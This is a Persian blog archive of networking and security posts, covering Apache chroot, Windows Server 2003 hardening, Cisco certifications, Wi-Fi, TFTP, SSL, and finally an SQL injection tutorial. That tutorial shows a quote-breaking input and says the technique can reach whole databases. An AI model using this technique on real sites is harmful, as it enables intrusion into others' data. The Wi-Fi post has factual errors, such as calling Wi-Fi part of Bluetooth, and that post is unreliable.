CHROOT=/chroot/httpd/
HTTPD=/usr/local/apache/bin/httpd
PIDFILE=/usr/local/apache/logs/httpd.pid

echo -n " apache"

case "$1" in
start)
/usr/sbin/chroot $CHROOT $HTTPD
;;
stop)
kill `cat ${CHROOT}/${PIDFILE}`
;;
*)
echo ""
echo "Usage: `basename $0` {start|stop}" >&2
exit 64
;;
esac

exit 0




كه اين اسكرسپت بايد به دايركتوري مربوطه كپي شود كه بستگي به نوع سيستم عامل دارد . مثلا در FreeBSD دايركتوري مربوطه /usr/local/etc/rc.d مي باشد
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 امن سازي Windows server 2003
اگر تا به حال از ويندوز سرورNTيندوز سرور 2000استفاده كرده با شيد ، احتمالا متوجه شده ايد كه مايكرو سافت آنها را به صورت پيش فرض، غير ايمن طراحي كرده است . گرچه مايكروسافت و ساز و كارهاي امنيتي متعددي ايجاد كرده است ، اما نصب آنها به عهده كاربران است . اين در حالي است كه وقتي مايكرو سافت ويندوز 2003 را انتشارداد ، با اين كار ، فلسفه جديد اين است كه بايد به صورت پيش فرض ايمن باشد. به باشيد كلي اين ايده بسيار خوبي است ، اما مايكروسافت نتوانيد آن را به طور كامل پياده كند . با آن كه سرور بايد به طور كامل پياده كند . با آن كه ويندوز 2003 را انتشار داد ، با اين كار ، فلسفه خود را تغيير داد .

فلسفه جديد اين است كه سرور با يد به صورت پيش فرض ايمن باشد. به طور كلي اين ايده بسيار خوبي است ، اما مايكروسافت نتوانست آن را به طور كامل پياده كند . با آن كه ويندوز 2003 بدون شك ايمن تر از ويندوز NTيا ويندوز2000است ، اما هنوز هم نقصاني در آن ديده مي شود . در اينجا ما اعمال ساده اي را كه شما مي توانيد براي ايمن تر كردن ويندوز سرور 2003 انجام دهيد شرح مي دهيم .

نقش خود را بدانيد
شناخت نقش سروردر روند ايمن سازي بسيار حياتي است. نقش هاي متعددي وجود دارد كه ويندوز سرور ممكن است بر عهده داشته با شد .
براي مثال سرور ممكن است بر عهده داشته باشد . براي مثال ويندوز سرور 2003 ميتوانيد در نقش يك كنترل كننده دامنه ( domin Contoller ) ، يك سرور عضو ( member server )، سرور پايه( )سرور فايل ( )، سرور پرينت ( ) ، سرور پايانه ( ) و يا حالت هاي متعدد ديگر عمل كند. يك سرور همچنين مي تواند تركيبي از اين نقش ها را به عهده داشته باشد.
مشكل اينجاست كه سرئر در هر كدام از اين نقش ها ، نيازهاي امنيتي خاص خودش رادارد . براي مثال ، اگر قرار است كه سرور شما در نقش يك سرو ر IISكار كند ، شما بايد سرويس ها ي IISرا فعال كنيد، در حالي كه اگر سرور قرار است فقط به عنوان يك سرور فايل و پرينت كار كند، فعال كردن IISريسك امنيتي بزرگي خواهد بود. اين موضوع رابد ين د ليل مطرح كرد م كه بدانيد روش خاصي وجود ندارد كه بتوانيد در هر شرايطي آن را دنبال كرده و انتظار نتيجه از آن داشته باشيد . نيازهاي امنيتي يك سرور با توجه به نقش سرور و محيط سرور ( server`s environment ) تفاوت هاي بسياري دارند . از آنجا كه روشهاي متعددي براي ايمن سازي يك سرور وجود دارد ، من فقط موارد ضروري و اساسي را براي فعال كردن يك سرور فايل ساده و در عين حال ايمن ، شرح خواهم داد . سعي خواهم كرد مواردي را مشخص كنم كه وقتي سرور در نقش هاي مختلف كار ، شما بايد به طور متفاوت انجام دهيد اما حتما به اين نكته توجه داشته باشيد كه ااين اعامال در حكم يك راهنماي عمومي براي ايمن سازي همه انواع سرور نيست.

امنيت فيزيكي
براي رسيدن به امنيت واقعي سرور شما بايد در مكان امني قرار گيرد معمولا" اين به معني قرار دادن سرور پشت درهاي بسته است امنيت فيزيكي بسيار همه ماست زيرا بسياري از بازارهاي مديريتي مي‌تواند به عنوان ابزار هك كننده به كارگرفته شود هر شخصي با حداقل مهارت و با استفاده از چنين ابزارهايي در صورت يكه دسترسي فيزيكي به ماشين داشته باشد مي‌تواند يك سرور را در عرض چند دقيقه هك كند تنها راه گلوگيري از چنين حمله‌هايي قراردادن سرور در يك محجيط امن است. اين در مورد هر سرور ويندوز 2003 صرف نظر از نقش ان، صادق است.


ايجاد يك ليست پايه (baseline)
در كنار امنيت فيزيكيك خوب، توصيه مهم بعدي من اين است كه قبل ز استفاده از يك سرور ويندوز 2003 نيازهاي امنيتي خود را مشخص كنيد و به محض به كارگرفتن سرور مومارد مربوطه در خصوص امنيت و سياست هاي مبتني ب ر آنها را نيرز فعال كنيد.
بهترين روش در اين زمينه ايجاد يك ليست پايه امنيتي است اين ليست شامل مدارك و تنظيمات مورد قبول امنيتي است در اكثر شرايط تنظيمايت ليست پايه شما بر اساس نقش سرور كاملا" فرق خواهد داشت.
بنابر اين بهترين كار، ايجاد تعدادي ليست‌هاي پايه متفاوت است كه بتوانيد آنها را براي انواع مختلف سرور به كابر ببريد. براي مثال، ممكن است شما يك يست پايه براي سرورهاي فايل، يك ليست پايه براي كنترل كننده‌هاي دامنه و ليست ديگري براي سرورهاي IIS داشته باشيد.

ويندوز2003 از ابزاري برخوردار است كه محدوده امنيتي و ابزار تحليل ( And Analysis Tool Security Configuration ) ناميده مي شود . اين ابزار به شما اجازه مي دهد كه خط مشي امنيتي جاري سرور را با خط مشي امنيتي ليست پايه كه درون يك فايل الگو قرار دارد ، مقايسه كنيد . شما مي توانيد اين فايل هاي الگو را خودتان ايجاد كنيد يا اينكه از يكي از انواع آماده آنها استفاده كنيد . الگو هاي امنيتي يك رشته متن براساس فايل هاي INF هستيد كه در فولدرSECU %SYSTEMROOT% RITY TEMPLATES ذخيره شده اند . ساده ترين روش برا آزمايش و تغيير الگو هاي شخصي ، از طريق كنسول مديريت مايكر سافت ( Console MMC Microsoft Management ) است . براي باز كردن كنسول ، دستور MMCرا در خط دستور Run وارد كنيد . وقتي كه كنسول خالي بالا مي آيد ، دستور Add Remove Snap-in را نمايش دهد . كليد Add را كليد كنيد ،‌ ليستي از تمام كنسول هاي Snap-in موجود را خواهيد ديد . الگو هاي امنيتي Snap-in را از ليست انتخاب كنيد و سپس كليد هاي Add ، Close و OKرا كليد كنيد.

زماني كه الگو هاي امنيتي Snap-in بالا آمد ، مي توانيد هر كدام از الگو ها را مشخص كنيد . به هنگام مرور درخت كنسول ، خواهيد ديد كه هر الگويي از خط مشي گروه خود تقليد مي كند و نام هر الگو ، اهداف آن الگو را منعكس مي كند . براي مثال ، HISECDC، يك الگو با امنيت بالا براي كنترل كننده هاي دامنه ( security domain Controller high) است اگر قصد ايمن سازي يك سرور فايل را داريد ، من استفاده از الگو ي SECUREWS را به شما توصي همي كنم . با دقت در نوع تنظيمات اين الگو شايد متو جه شويد كه اين الگو با وجود ايمن تر كردن سرور نسبت به قبل ، ممكن است جوابگوي نياز هاي شما نبا شد . تنظيمات امنيتي خاص ممكن است بيش از حد سخگيرا نه يا اغماضگرا نه با شد . من تو صيه مي كنم كه يا با تغييرات جزيي در نوع تنظيمات مو جود ، آنها را با نيازهايتان متناسب كنيد و يا خط مشي هاي جديدي ايجاد كنيد . شما مي توانيد به آساني با كليك راست روي فولد ر C: WINDOWS Security Template، داخل كنسول و انتخاب دستور Template New شده و از منوي ايجاد شده يك الگو ( template) جديد ايجاد كنيد .
وقتي شما يك الگو يامنيتي را مطابق با نياز خود ايجاد كرديد ، به گزينه Add Remove در صفحه Snap-in properties ، يك S nap-in به نام Security Configuration And Analysis را اضافه كنيد . زماني كه Snap-in بالا مي آ يد ، روي Security Configuration كليك راست كنيد وسپس دستور Open Database را از منو انتخاب كنيد . Open را كليد كنيد ، آ نگاه ديتابيس لازم ، با نامي كه شما برايش در نظر گرفته بو ديد ، ايجاد مي شود.

سپس ، روي Security Configuration And Analysis كليد راست كنيد و دستور Template Import را از منوي ميانبر انتخاب كنيد. آنگاه ليستي از كليه الگوهاي موجود را خواهيد ديد . الگويي كه تنظيمات امنيتي شما را در بر مي گيرد ،‌انتخاب كنيد و سپس Open را كليد كنيد . پس از آنكه الگوي شما وارد شد ، دوباره روي Security Configuration And Analysis كليك راست كرده ودستور Analyze Computer Now را از منوي ميانبر انتخاب كنيد . ويندوز مكاني براي نوشتن گزارش خطا ( error log )در اختيار شما قرار مي دهد . مسير فايل را وارد كرده و OK را كليك مي كنيم . در اين مرحله ،‌ويندوز تنظيمات امنيتي موجود در سرور شما را با فايل الگو مقايسه مي كند . شما مي توانيد نتايج اين مقايسه را با مرور در كنسول Security Configuration And Analysis مشاهده كنيد . تنظيمات خط مشي هر گروهي ، هم تنظيمات جاري و هم تنظيمات الگو زا نمايش مي دهد . وقتي كه به اين ليست دست پيدا كنيد، يعني ان كه زمان اجراي خط مشي امنيتي مبتني بر الگو فرا رسيده است . به همين منظور ، براي آخرين بار روي Security Configure And Analysis كليك راست كنيد و دستور Configure Computer Now را از منوي ميانبر انتخاب كنيد . آنگاه اين ابزار خط مشي امنيتي كامپيوتر شما را براي هماهنگ شدن با خط مشي الگو تغيير مي دهد . خط مشي هاي گروهي از يك خصلت موروثي بر خوردارند.
يك خط مشي گروهي ممكن است در سطح كامپيوتر محلي ، سايت ، دامنه يا در سطح OU به كار رود . وقتي كه شما يك سرويس امنيتي مبتني بر الگو را نصب مي كنيد ، در حقيقت در اين سطوح كاربردي تغيير ايجاد مي كنيد . ساير خط مشي هاي گروهي نيز به طور مستقيم تحت تاثير قرار نمي گيرند ، گر چه خط مشي هاي نهايي ممكن است باعث تغييري در تنظيمات نوعي خط مشي شود كه از سطوح بالاتر به به ارث برده شده .

تغيير دادن اعتبارهاي داخلي
سالها مايكرو سافت به شما توصيه كرده است كه نام كاربر مدير ا( Administrator account ) را تغيير دهيد و قابليت ايجاد كاربر ميهمان ( Quest account ) را غير فعال كنيد تا به وضعيت امنيتي خوبي دست يابيد. در ويندوز سرور 2003، به صورت پيش فرض ، قابليت ايجاد كاربر مهمان غير فعال شده است ، اما وظيفه تغيير نام مدير سيستم همچنان بر عهده شما است . اين تغيير نام ، ايده خوبي است زيرا هكر ها و مهاجمان معمولي سعي مي كنند تا به ( Administrator account ) آسيب بر سانند . تعداد زيادي از ابزارهاي هك وجود دارد كه نام اصلي Administrator account را از طريق امتحان S I D پيدا مي كنيد ،‌متاسفانه ، شما نمي توانيد اين account را تغيير دهيد و به همين دليل راهي براي جلوگيري از دستيابي چنين ابزارهايي به نام اصلي Administrator account و تغيير توضيحات اين account را به همه توصيه مي كنم و براي اين كار دو دليل دارم .
اول اينكه ; بسياري ار هكرهاي تازه كار يا غير حرفه اي ممكن است از وجود چنين ابزارهايي اطلاع نداشته باشند و دوم آنكه ،‌تغيير نام Administrator account به يك نام خاص ،‌امكان رديابي و كنترل حملات روي اين account را براي شما فراهم مي كند .
نكته ديگر مربوط به سرورهاي عضو است. سرورهاي عضو هر كدامAdministrator account داخلي خاص خود را دارند كه كاملا با Administrator account دامنه فرق دارد . شما مي توانيد سيستمي ايجاد كنيد كه سرور عضو براي خود از يك نام Administrator account و كلمه عبور جداگانه استفاده كنند . هدف اين است كه اگر افرادي نام Administrator account و كلمه عبور يك سرور عضو را پيدا كردند ،‌ نتوانند از طريق اين اطلا عات بقيه سرور ها را هك كنند. البته ؛ اگر شما وضعيت امنيتي فيزيكي خوبي د ر محل داشته با شيد ،‌طبيعي است از آنجا كه كسي نمي تواند به هيچ سروري دسترسي پيدا كند ،‌نخواهد توانست account محلي آن را هم پيدا كند.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 آشنايي با مدارک سيسکو 3
- مدرک CCNP

CCNP مخفف عبارت Cisco Certified Network Professional است که معمولا افراد پس از گذراندن CCNA اقدام به گذراندن اين دوره CCNP می‌کنند. تفاوت عمده اين مدرک با CCNA اين است که فرد پس از گذراندن اين دوره توانائی شبکه‌بندی بين Nodeهای بيشتری ( از 100 نود تا 500 نود ) و افزوده شدن تعداد بيشتری پروتکلهای شبکه نظير PPP ,PSTN , ddr,x25 , isl ,isdn ,frame realy , ip , igrp , ipx, apple talk , rip,ip rip , vlsm , bgp , 802.10 , ospf , igrp دارد.


- ساير مدارک سيسکو

CCDA :
يکی ديگر از مدارک سيسکو که در ايران کمتر به آن توجه شده است، مدرک CCDA يا Cicso Certified Design Associate است. اين مدرک روی طراحی و مهندسی شبکه زوم نموده است.

CCDP :
مدرک CCDP يا Cicso Certified Design Professional يعنی طراح حرفه‌ای شبکه مورد تائيد سيسکو.

CCIE :
بعد از گذراندن CCDP، شما می‌توانيد مدرک CCIE را نيز اخذ کنيد. تفاوت اخذ اين مدرک با بقيه مدارک شرکت سيسکو در نحوه برگزاری آزمون آن می‌باشد، چون اين مدرک بصورت عملی و در لابراتوار برگزار می‌شود.



CCIP :
شرکت Cisco جديدا اقدام به برگزاری دوره CCIP نموده است که در آن بصورت محض روی مباحث IP , DSL پرداخته می‌شود .

|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 آشنايي با مدارک سيسکو 2
الف) پروتکلهای WAN :
- تشريح عملکرد PPP و بسته‌بندی داده‌ها در روترهای سيسکو
- استفاده از دستورات مناسب جهت نا هنجاريهای شبکه
- تشريح مفاهيم پايه‌ای Frame Relay و ويژيگی‌های آن
- پيکربندی MAPها و LMIها و Subinerface هاست
- تبيين پروتکلهای ISDN و Working Group و Channels و نقاط ارتجاع
- تفاوت ميان سرويسهای مهم WAN مانند LAPB , Frame Relay , DDR , PPP ,HDLC , ISDN/LAPD
- پيکربندی ISDN BRI و مسيريابی DDR
- بررسی مدل مرجع OSI و ارتباطات بين لايه‌ها
- بررسی مدل OSI با TCP/IP
- استفاده از مدل OSI بعنوان خطاياب شبکه (Network Troubleshooting )
- تطابق تجهيزات شبکه با لايه‌های مربوط در OSI
- تشريح نحوه کارکرد لايه‌های شبکه و علت پديد آمدن آنها
- بررسی عملکرد DATA ENCAPSULATION
- بررسی سرويسهای شبکه‌ای ارتباط گرا و سرويسهای بدون ارتباط

[COLOR=red]ب) Bridging & Switching :
- مفهوم سوئيچينگ در شبکه‌های LAN
- َشرح عملکرد و فوايد VLAN
- بررسی نحوه عملکرد Spanning Tree Protocol روی سوئيچ‌ها
- طراحی و پيکربندی VLAN روی Switches
- طراحی و پيکربندی VTP و Trunking روی سوئيچ‌ها
- تفاوتهای Switches و Bridging
- نصب و پيکربندی يک سوئيچ
- بررسی نحوه کارکرد Spanning Tree Protocol روی سوئيچ‌ها

ج) Network Management و Support :- بررسی حالتهای احراز هويت روی لينکهای PPP
- مديريت IOS و فايلهای پيکربندی ادوات سخت افزاري
- بارگزاری نرم‌افزار IOS از يک حافظه ROM يا TFTP Server يا Flash Memory
- پشتيبانی و بروزرسانی نرم افزار IOS
- استفاده از CDP برای تعيين همبندی شبکه
- LAN Troubleshooting
- Ethernet Collision ( امکان بروز تداخل در شبکه‌های اترنت )
- توضيح Half Duplex and Full Duplex in Ethernet Network
- تشريح عناصر يک روتر
- پيکربندی رمز عبور، Banner و Prompt و .... روی روتر
- پيکربندی ابتدائی روتر
- استفاده از راهنمای روتر
- استفاده از ICMP برای بررسی ارتباطات شبکه و رفع اشکالات احتمالی

د) پروتکلهای مسيريابی:- شناخت کامل پروکلهای مسيريابی
- پيکربندی روتر برای ارتباطات VLAN
- پيکربندی آدرسهای IP و IP Troubleshooting
- بررسی عملکرد لايه انتقال و پروتکل TCP/IP و تعامل بين آنها
- تفاوت کلاسهای IP و مفهوم Subnetmask
و ...
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 آشنايي با مدارک سيسکو
- مدارک سيسکو چيست؟

همانطور که می‌دانيد شرکت Cisco بعنوان بزرگترين و معتبرترين شرکت در زمينه ساخت، طراحی و اجرای شبکه‌های کامپيوتری و تجهيزات آن در جهان شناخته شده است . از اين رو برای آشنائی بيشتر متخصصان شبکه با اصول طراحی و کار با تجهيزات، اين شرکت اقدام به برگزاری دوره‌های متعددی در زمينه‌های مختلف شبکه نموده است. همچنين برای آگاهی از صحت و کار آزمودگی دانش آموختگان اين دوره‌ها پس از گرفتن آزمون از آنها، به آنها مدرک بين‌المللی ارائه می‌نمايد .
در کشور ما شرکتها و موسسات آموزشی متعددی نسبت به برگزاری اين دوره ها اقدام نموده اند، ولی به علت اينکه شرکت سيسکو در آمريکا قرار دارد و ما هم تحت تحريم قرار داريم، لذا هيچگونه مدرکی از طرف اين شرکت در داخل ايران صادر نمی گردد و دانش آموختگان بايستی پس از گذراندن اين دوره‌ها به يک کشور ديگر ( معمولا شهر دبی ) رفته و در امتحانات آنجا شرکت نموده و مدرک را در آن کشور اخذ نمايند.
می‌توان گفت اولين مدرک رسمی که از سوی شرکت به دانش آموختگان ارائه می‌شود، مدرک CCNA است. هرچند توصيه می‌شود قبل از گزراندن اين دوره بهتر است مدرک +Network يا ICND اخذ شود، ولی اجباری در گذراندن اين مدارک نيست .
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 آشنايي با XSS
آشنايي با XSS
وايت پيپر - Whitepaper

فهرست مطالب:
آشنايي با XSS
چگونه XSS رخ مي دهد؟
چند مثال جامع از XSS
محافظت وب سايت از XSS
محافظت خود در برابر XSS
سخن آخر

شناسنامه:
نویسنده: پدارم حياتي
تاریخ : 24 دي 1383
منبع : PersianHacker.NET

هر گونه کپی برداری و استفاده از مطالب این مقاله با ذکر نام منبع و نویسنده آن بلامانع است.

براي دريافت مقاله روي لينك زير كليك كنيد:
تعريف نامه XSS

براي مشاهده اين مقاله نيار به برنامه Acrobat Reader داريد جديد ترين نسخه آن را از وب سايت زير دانلود كنيد:

user posted image
Download Acrobat Readerِ
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 Wi-Fiچيست ؟
Wi-Fiچيست

اين استاندارد از زيرمجموعه Bluetooth است و تحت آن ارتباطى با قدرتى بيشتر از خود Bluetooth ايجاد خواهد شد. ارتباط Wi-Fi كه مخفف Wireless Fidelity است بيشتر بر پايه ارتباط شبكه اينترنت به صورت بى سيم تاكيد مى كند و همين امر باعث محبوبيت بسيار زياد آن شده است با استفاده از اين تكنولوژى به راحتى در مسافرت، هواپيما و يا هتل مى توان از طريق Laptop به اينترنت متصل شد. Wi-Fi كه همان استاندارد IEEE802.11 است در مدل هاى ۸۰۲.11a و ۸۰۲.11b مورد استفاده قرار مى گيرد و استاندارد اصلى آن IEEE802.11b است. در اين مدل حداكثر سرعت انتقال اطلاعات ۱۱Mbps است و از فركانس راديويى ۴/۲ گيگاهرتز استفاده مى كند. براى سرعت بخشيدن به اين استاندارد مدل ديگرى نيز به نام ۸۰۲.11b+ ايجاد شده كه سرعت انتقال را تا ۲۲mbps افزايش مى دهد. در مدل ۸۰۲.11a سرعت اطلاعات حدود ۵۴mbps است و از فركانس ۵۰GHz استفاده مى شود. به طور حتم اين مدل در آينده اى نه چندان دور جاى ۸۰۲.11b را خواهد گرفت.

براى استفاده از اين سيستم ايستگاه هايى به نام Access point در مناطق مختلف و به فواصل چند صد مترى قرار مى گيرد. اين ايستگاه ها امواج راديويى را در هوا منتشر مى كنند و هر كامپيوترى كه به Wi-Fi مجهز باشد و در محدوده اين ايستگاه ها قرار داشته باشد قادر به استفاده از اينترنت است و كاربران با قرار دادن يك كارت سخت افزارى IEEE802.11b و يا وصل كردن يك دستگاه Wi-Fi اكسترنال از طريق USB به كامپيوتر خود قادر به استفاده از اين سيستم هستند. قيمت اينترنت در اين سيستم بسيار مناسب است. مثلاً در كشور آمريكا يك Account نامحدود يك ماهه با اين سرويس به مبلغ ۲۰ تا ۳۰ دلار در اختيار كاربران قرار مى گيرد. از نظر برد موثر هم حداكثر تا ۱۵۰ متر اطراف Access Point مورد پوشش قرار مى گيرد. در اين حالت سرعت انتقال ارتباط ۱mbps است. البته هر چقدر فاصله كاربر با ايستگاه اصلى كمتر از ۱۵۰ متر باشد سرعت انتقال اطلاعات بيشتر خواهد شد. مثلاً سرعت انتقال اطلاعات در فاصله ۱۰۰ مترى mbps5.5، در فاصله ۸۰ مترى ۸mbps و در فاصله ۵۰ مترى و كمتر از آن ۱۱mbps است
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 TFTP چيست؟
TFTP خلاصه Trivial File Transfer Protocol است که بر روی پورت 69 کار می کند. تفاوت آن با FTP در اینست که FTP از TCP استفده می کند ولی TFTP ازUDP استفاده می کند که البته FTP دارای ثبات و اطمینان قابل قبولی هست در صورتی که TFTP سرعت را برای ما به ارمغان می آورد. نکته جالب توجه در این است که TFTP احتیاجی به پسورد ندارد.
جابجایی در اینجا بدین شکل است که client از server در خواست (نوشتن)write یا (خواندن)read می کند که معمولا همان درخواست Read (PRQ) مورد قبول واقع می شود و با قبول شدن در خواست از سوی سرور ارتباط میان آن دو بر قرار می گردد و جایجایی اطلاعات آغاز می گردد. در ترانسفر packet/block جابجایی تا 512بایت آنجام شده و سپس سرور منتظر جواب دریافت(ACK) از سوی کلاینت میشود و بعد از دریافت جواب دوباره 512 بایت یعدی را می فرستد و برای هر 512بایت این کار تکرار میشود .
هر یک از بلاک های دریافتی به انتهای بلاک قبلی متصل میشود اگر در این حین یکی از packet گم گردد هر دوی کلاینت و سرور یک time-out ایجاد نموده و دوباره همان packet گم شده را ارسال می کند. همیشه فرستنده باید آخرین بلاک را در حافظه نگهداری نمایید تا زمانی که پیام ACK را دریافت نماید البته اگر آخرین بلاک از فایل باشد دیگر احتیاجی به صبر کردن و نگهداری بر روی حافظه نیست.
0 mode 0 Filename 01
پیام های TFTP
خواندن پیام در خواست


01 نشان دهنده 2 بایت از دستور OPcode network byte که طرف مقابل می گویید این یک READمی باشد.
Filename یک رشته null terminated ascii می باشد که نام فایل را به همراه دارد.
Mode یک رشته null terminated ascii می باشد که نوع جابجایی را در خود دارد.

نوشتن پیام در خواست
0 mode 0 Filename 02

توضیحان این بخش هم مثل بالا می باشد با این تفاوت که 01 برای WRITE می باشد.

TFTP Data Packet / Message
Data 0 to 512bytes Block # 03

03 2 بایت از دستور OPcode network byte که می گوید در طرف مقبل داده ها قرار دارد.
Block # 2 بایت از دستور bytes block number network byte
Data 0 to 512bytes همه پکت دیتا ها 512 یایت در خود دارند غیر از آخری

جواب
Block # 04

04 2 بایت از دستور OPcode network byte که معلوم می کند برای طرف دیگر که ACK می باشد.
Block # 2 بایت از دستور block number network byte



انواع Error ها
0 errstring errcode 05

05 2 بایت از دستور OPcode network byteکه به طرف مقابل می گویید این یک Error می باشد.
Errcode 2 بایت از دستور error code network byte می باشد.
Errstring یک رشته null terminated ascii error
و error code ها به ترتیب زیرند:
0 - Not defined.
1 - File not found.
2 - Access violation.
3 - Disk full.
4 - Illegal TFTP operation.
5 - Unknown port.
6 - File already exists.
7 - No such user
و طریقه های TFTP ترانسفر دو دسته می باشند:
1. netascii که برای انتقالtext فایل ها استفاده شده که البته دو طرف باید برای دریافت و فرستادن به این روش آماده باشند
2. octet که برای انتقال فایل هایbinary مورد استفاده قرار می گیرد.
(برداشت ازاد از thedp.netfirms.com)
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 SSL چيست ؟
Secure Socket Layer , يا همان SSL يک تکنولوژی استاندارد و به ثبت رسيده برای تامين ارتباطی امن مابين يک وب سرور و يک مرورگر اينترنت است. اين ارتباط امن از تمامی اطلاعاتی که ما بين وب سرور و مرورگر اينترنت ( کاربر) انتقال ميابد , محافظت ميکند تا در اين انتقال به صورت محرمانه و دست نخورده باقی بماند. SSL يک استاندارد صنعتی است و توسط مليونها وب سايت در سراسر جهان برای برقراری امنتيت انتقال اطلاعات استفاده ميشود. برای اينکه يک وب سايت بتواند ارتباطی امن از نوع SSL را داشته باشد نياز به يک گواهينامه SSL دارد.

زمانيکه شما ميخواهيد SSL را بر روی سرور خود فعال کنيد سؤالات متعددی در مورد هويت سايت شما ( مانند آدرس سايت ) و همين طور هويت شرکت شما ( مانند نام شرکت و محل آن) از شما پرسيده ميشود. آنگاه سرور دو کليد رمز را برای شما توليد ميکند , يک کليد خصوصی (Private Key) و يک کليد عمومی (Public Key). کليد خصوصی به اين خاطر , اين نام را گرفته است , چون بايستی کاملا محرمانه و دور از دسترس ديگران قرارگيرد. اما در مقابل نيازی به حفاظت از کليد عمومی نيست و اين کليد در قالب يک فايل درخواست گواهينامه يا Certificate Signing Request که به اختصار آنرا CSR ميناميم قرارداده ميشود که حاوی مشخصات سرور و شرکت شما بصورت رمز است. آنگاه شما باسيتی که اين کد CSR را برای صادرکننده گواهينامه ارسال کنيد. در طول مراحل سفارش يک SSL مرکز صدور گواهينامه درستی اطلاعات وارد شده توسط شما را بررسی و تاييد ميکند و سپس يک گواهينامه SSL برای شما توليد کرده و ارسال ميکند.

وب سرور شما گواهينامه SSL صادر شده را با کليد خصوصيتان در سرور و بدور از دسترس سايرين مطابقت ميدهد. سرور شما آنگاه امکان برقراری ارتباط امن را با کاربران خود در هر نقطه دارد.

نمايش قفل امنيت SSL

پيچيده گيهای يک پروتکل SSL برای کاربران شما پوشيده است ليکن مرورگر اينترنت آنها در صورت برقراری ارتباط امن , وجود اين ارتباط را توسط نمايش يک قفل کوچک در پايين صفحه متذکر ميشود.

و در هنگامي كه شما روي قفل كوچك زرد رنگي كه در پايين صفحه IE نمايش داده ميشود دوبار كليك ميكنيد باعث نمايش گواهينامه شما به همراه ساير جزئيات مي شود.

گواهينامه های SSL تنها برای شرکتها و اشخاص حقيقی معتبر صادر ميشوند. به طور مثال يک گواهينامه SSL شامل اطلاعاتی در مورد دامين , شرکت , آدرس , شهر , استان , کشور و تاريخ ابطال گواهينامه و همينطور اطلاعاتی در مورد مرکز صدور گواهينامه که مسؤول صدور گواهينامه ميباشد.

زمانيکه يک مرورگر اينترنت به يک سايت از طريق ارتباط امن متصل ميشود , علاوه بر دريافت گواهينامه SSL ( کليد عمومي) , پارامترهايی را نظير تاريخ ابطال گواهينامه , معتبر بودن صادرکننده گواهينامه و مجاز بودن سايت به استفاده از اين گواهينامه نيز بررسی ميکند و هرکدام از موارد که مورد تاييد نباشد به صورت يک پيغام اخطار به کاربر اعلام ميدارد.
|+| نوشته شده توسط ساسان کریمی در سه شنبه پنجم تیر 1386  |
 SQL Injection
يک زبان ساختار يافته ي متني است که در فعل و انفعالات داخلي بين SQL (Structured Query Language)زبان

ديتا بيس ها و براي برقراري ارتباط و پاسخ به درخواستهاي کاربران استفاده مي شود.

که آخرين SQL-92 وجود دارد. اکثر زبانهايي که در حال حاضر استفاده مي شوند بر پايه ي SQLانواع مختلفي از

مي باشد استوار هستند. ANSIاستاندارد



ها هستند.Query ها SQLواحد اجرايي در



چيست؟Query



بازي مي کند و توسط آنها sql در واقع مجموعه اي از توضيحات و عبارات است که حکم قواعد را براي query

مي توان با ديتابيس به تبادل اطلاعات پرداخت.



ها و استفاده از آنها براي اجراي دستورات خود Query در واقع ما براي نفوذ نياز به وارد کردن دستورات خود در

بر روي سرور هستيم. ما مي توانيم با استفاده از يک سري عبارات ساده و کاملا بي ضرر و با فرستادن آنها با

مي روند به اهدافSQL و يا يک ASP ها و نيز با دستکاري در داده هاي ورودي که براي پردازش به يک صفحه Query

خود دست يابيم.

حتما از خود مي پرسيد سطح دسترسي که از اين روش ممکن است ايجاد گردد بسيار ناچيز است! اما برعکس ما مي توانيم با استفاده از همين روشهاي ساده حتي به کل ديتابيس دسترسي پيدا کرده و محتويات بانکهاي اطلاعاتي را عوض کنيم و يا حتي آنها را پاک کنيم! امروزه اين روشها از خطرناکترين و پيچيده ترين روشهاي نفوذ مي باشند.

به شکل زير است:SQLيک متن معمولي در



select id, forename, surname from authors





دريافت کنيم. زياد وارد جزييات و نحوه نوشتن دستورات نمي شويم.authorsما مي توانيم به کمک اين متن آي دي و اسم و فاميل را از جدول

آنچه در اينجا آورده مي شود براي يادگيري مطلب کافيست!

البته ممکن است اين رشته به صورت زير محدود باشد :





select id, forename, surname from authors where forename = 'john' and surname = 'smith'





مرزبندي شده اند. قسمتهاي نام و نام فاميل از ورودي کاربر به ‘ توسط يک johnنکته مهم در اين قسمت اين است که اجزاي کاربري مانند

دست آمده اند و به آن وابسته هستند.

در واقع نفوذگر قادر به وارد کردن اطلاعات در اين قسمت است. وي مي تواند اطلاعات ورودي را به نحو زير وارد کند :





Forename: jo'hn

Surname: smith





را وارد مي کند .Jo’hn عبارت john که محل ورود نام کاربري است به جاي وارد کردن نام Fornameنفوذگر در جلوي قسمت

از يکديگر‘ توسط Sqlاکنون چه اتفاقي مي افتد؟ ظاهرا هيچ اتفاقي خاصي نخواهد افتاد اما با توجه به اينکه مي دانيم قسمتهاي يک متن

جدا مي شوند اطلاعات جمع آوري شده به صورت زير خواهد بود:





select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'





دقيقا قسمت اصلي ماجرا اينجاست. در هنگام وارد کردن چنين اسمي توسط نفوذگر و ارسال آن به ديتابيس احتمالا ما با خطايي مشابه خطاي زير مواجه خواهيم شد:





Server: Msg 170, Level 15, State 1, Line 1

Line 1: Incorrect syntax near 'hn'.



نسبت داد. ‘علت بروز چنين خطايي را مي توان به شکسته شدن مرز تعريف شده براي اسم و اسم فاميل در ديتابيس توسط يک

استفاده مي شود. در حالت پيشفرض قرار بر اين است که دو مقدار اسم و ‘همانطور که ذکر گرديد براي جدا کردن مقادير مختلف از علامت

اين دو از هم جدا شوند. يعني در ديتابيس تنها دو قسمت براي ورودي کاربر در نظر گرفته‘فاميل توسط کاربر وارد شود و در ديتابيس توسط دو شده است. اکنون نفوذگر با وارد کردن نام کاربر به صورت فوق به صورت دستي و از عمد سعي در اضافه کردن يک بخش ديگر به ديتابيس مي کند. عمل فوق باعث شکسته شدن مرز از پيش تعريف شده در ديتابيس و بروز خطا مي شود.

